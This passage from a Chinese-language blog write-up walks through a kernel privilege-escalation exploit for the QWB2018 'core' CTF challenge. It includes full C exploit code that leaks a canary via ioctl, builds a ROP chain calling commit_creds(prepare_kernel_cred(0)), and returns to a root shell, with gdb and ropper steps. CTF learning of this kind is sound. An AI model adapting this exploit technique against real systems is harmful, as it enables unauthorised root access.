/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}

char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd)) //48条项目一组,一直找commit_creds和prepare_kernel_cred符号的地址
{
if(commit_creds & prepare_kernel_cred)
return 0;

if(strstr(buf, "commit_creds") && !commit_creds)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16); //地址在前16个字节
/* printf("hex: %s\n", hex); */
sscanf(hex, "%llx", &commit_creds); //以llx模式解析16个字节,正确解析出地址
printf("commit_creds addr: %p\n", commit_creds);
/*
* give_to_player [master●●] bpython
bpython version 0.17.1 on top of Python 2.7.15 /usr/bin/n
>>> from pwn import *
>>> vmlinux = ELF("./vmlinux")
[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/vmli'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
>>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
'0x9c8e0'
*/
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
/* printf("vmlinux_base addr: %p\n", vmlinux_base); */
}
}

if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

void set_off(int fd, long long idx)
{
printf("[*]set off to %ld\n", idx);
ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf)
{
puts("[*]read to buf.");
ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)
{
printf("[*]copy from user with size: %ld\n", size);
ioctl(fd, 0x6677889A, size);
}

int main()
{
save_status();
int fd = open("/proc/core", 2); //以读写模式打开
if(fd < 0)
{
puts("[*]open /proc/core error!");
exit(0);
}

find_symbols();
// gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
ssize_t offset = vmlinux_base - raw_vmlinux_base;

set_off(fd, 0x40);

char buf[0x40] = {0};
core_read(fd, buf);
size_t canary = ((size_t *)buf)[0];
printf("[+]canary: %p\n", canary);

size_t rop[0x1000] = {0};

int i;
for(i = 0; i < 10; i++)
{
rop[i] = canary;
}
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd, rop, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));

return 0;
}

其中获取commit_creds等内核符号相对基址偏移的方式如下,得到偏移后,我们只要在运行exp时读取/tmp/kallsyms得到符号的真实地址,然后减去偏移之后就能得到虚拟地址符号基址。而且没有开启PIE保护下,我们可以看到内核映像默认加载基地址。这个地址是内核映像在物理内存中的加载地址,表示内核的起始位置。而/proc/kallsyms 中的符号地址 是内核符号(如函数名、变量名等)在内核虚拟地址空间中的位置。由于 Linux 内核会进行地址空间布局随机化(ASLR),即使内核的物理地址是固定的,它在虚拟地址空间中的位置可能会有所不同。

首先我们先保存cs,rflags等信息,以便以后返回用户态。然后打开我们的内核模块core.ko中所注册的/proc/core获得一个文件描述符,那么之后就可以利用ioctl进行操作。然后我们就可以获取到核心的commit_credsprepare_kernel_cred地址。我们的目标是调用commit_creds(prepare_kernel_cred(0));进行提权。各函数的具体实现可以看exp中的具体代码,还是比较简单的。因为我们找到的gadget等地址都是固定的物理地址空间的地址,我们想要的是虚拟空间地址,所以还要算出相对偏移。

1
2
3
4
5
6
7
8
9
10
11
save_status();
int fd = open("/proc/core", 2); //以读写模式打开
if(fd < 0)
{
puts("[*]open /proc/core error!");
exit(0);
}

find_symbols();
// gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
ssize_t offset = vmlinux_base - raw_vmlinux_base; //虚拟地址空间相对于物理地址空间偏移

之后最核心的就是与注册的core设备进行交互,具体实现采用的是ioctl方式,每个函数对应之前IDA中所看到的内核模块的功能。但我们能发现core.ko中core_ioctl函数中只会调用core_readcore_copy_func,而没有core_write的调用。其实我们也可以在用户态直接write(fd, buf, len);来调用到这个函数(fd为该设备的描述符)。

首先是泄露canary,我们从IDA就可以看出canary相距v4有0x40个字节。copy_to_user(a1, &v4[off], 64LL)又能直接读出64个字节到用户空间,那么只要我们先把全局变量off设置为0x40,然后再用core_read函数,就能够将从canary开始的64个字节读取出来。也就泄露了canary。

1
2
3
4
5
6
set_off(fd, 0x40);

char buf[0x40] = {0};
core_read(fd, buf);
size_t canary = ((size_t *)buf)[0];
printf("[+]canary: %p\n", canary);

这里我们可以动调一下先看看,gdb从vmlinux启动,然后把core.ko作为symbol file附加上,之后就能在想要的位置处下断点了。

那么我们先把exp编译出来,然后重新打包文件系统,再次启动在虚拟环境下运行exp,就能用gdb进行调试。这里比如我们在core_ioctl下断点。能够成功在这里断下来。

之后我们看core_read这个具体的过程,会发现copy_to_user执行完后,rbx指向了用户态的栈区域,也成功的把内核态中的canary以及之后的64个字节复制到了用户态的栈中。

然后就是写ROP,用的是ropper找出的gadget。

1
2
3
ropper --file ./vmlinux --nocolor > g1
cat g1 | grep 'pop rdi; ret'
......

这里rop链中mov rdi,rax可以把prepare_kernel_cred(0)返回的内容作为参数传入commit_creds中,因为gadget中的mov rdi,rax后面还会call rdx,所以前两个pop ret都是为了抵消call rdx的作用的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
size_t rop[0x1000] = {0};

int i;
for(i = 0; i < 10; i++)
{
rop[i] = canary;
}
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd, rop, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));

执行完core_copy_func后,就成功把rop链写在了内核的栈上

之后我们重点看看返回用户态所用的swapgspopfqiretq具体做了什么。

首先swapgs会切换gs寄存器,先后对比如下。

popfq会把栈上弹出一个内容复制给e/rflags寄存器,先后对比如下。但这个并不重要,因为后面的ireq还会恢复e/rflags寄存器,所以这里的popfq只是gadget中swapgs的副作用。

iretq则相当于先返回到当前栈顶地址处(用户态空间),然后依次从栈上弹出4个内容赋给cs,e/rflags,sp,以及ss。我们在函数一开始调用save_status就是为了这时候还原。

然后我们就返回了root权限的shell,要测试提权是否成功,我们现在回到init中把setsid /bin/cttyhack setuidgid 0 /bin/sh中的0改回1000,然后重新打包并启动,运行exp看看效果。

成功提权。

DSBCTF-EasyKernel

给了3个文件。

先解压文件系统。然后在run.sh中加入-s启用gdb调试。

1
cpio -idmv < rootfs.cpio

这里我们缺vmlinux,可以用源码中的extract-vmlinux脚本来从bzImage中提取vmlinux。然后再用vmlinux-to-elf 工具恢复符号表。

1
2
/mnt/e/ctf/kernel/linux-5.15.153/scripts/extract-vmlinux ./bzImage> vmlinux
vmlinux-to-elf ./vmlinux ./vmlinux_

尝试启动时发现不是进入shell环境,而是要求进行登录。实际上,我们通过查看解压出的文件系统,可以发现/etc/inittab这个文件。这说明系统使用getty进行登录。我们通过查看etc/passwd文件的内容,很容易就能得到用户名为ctfshow,而密码加密后存在etc/shadow里,这个我们一般猜不到,这里我们尝试弱口令爆破,得到密码就为ctfshow,之后就能进入shell环境。

因为这题采用的是登录式,我们如果想要以root权限登录方便调试,就要先改/etc/shadow文件的root密码。这里我们直接清空这个root用户的密码。即改成root::::::::。之后我们用ctfshow用户登录进去后,就可以自由切换到root用户。

对于run.sh以及init文件的分析在上文已经作为例子提及了,这里直接看提供的模块ctfshow.ko

首先看init_module,注册了kqueue这个设备,之后可以靠kqueue_ioctl来进行交互。

参考资料

https://ctf-wiki.org/pwn/linux/kernel-mode/basic-knowledge/

https://sky123.blog.csdn.net/article/details/130815994?sharetype=blogdetail&sharerId=130815994&sharerefer=WAP&sharesource=

https://blog.csdn.net/qq_45323960/article/details/130815994

  • 标题: kernel pwn初探
  • 作者: collectcrop
  • 创建于 : 2025-02-22 15:53:03
  • 更新于 : 2025-02-22 15:53:04
  • 链接: https://collectcrop.github.io/2025/02/22/kernel-pwn初探/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。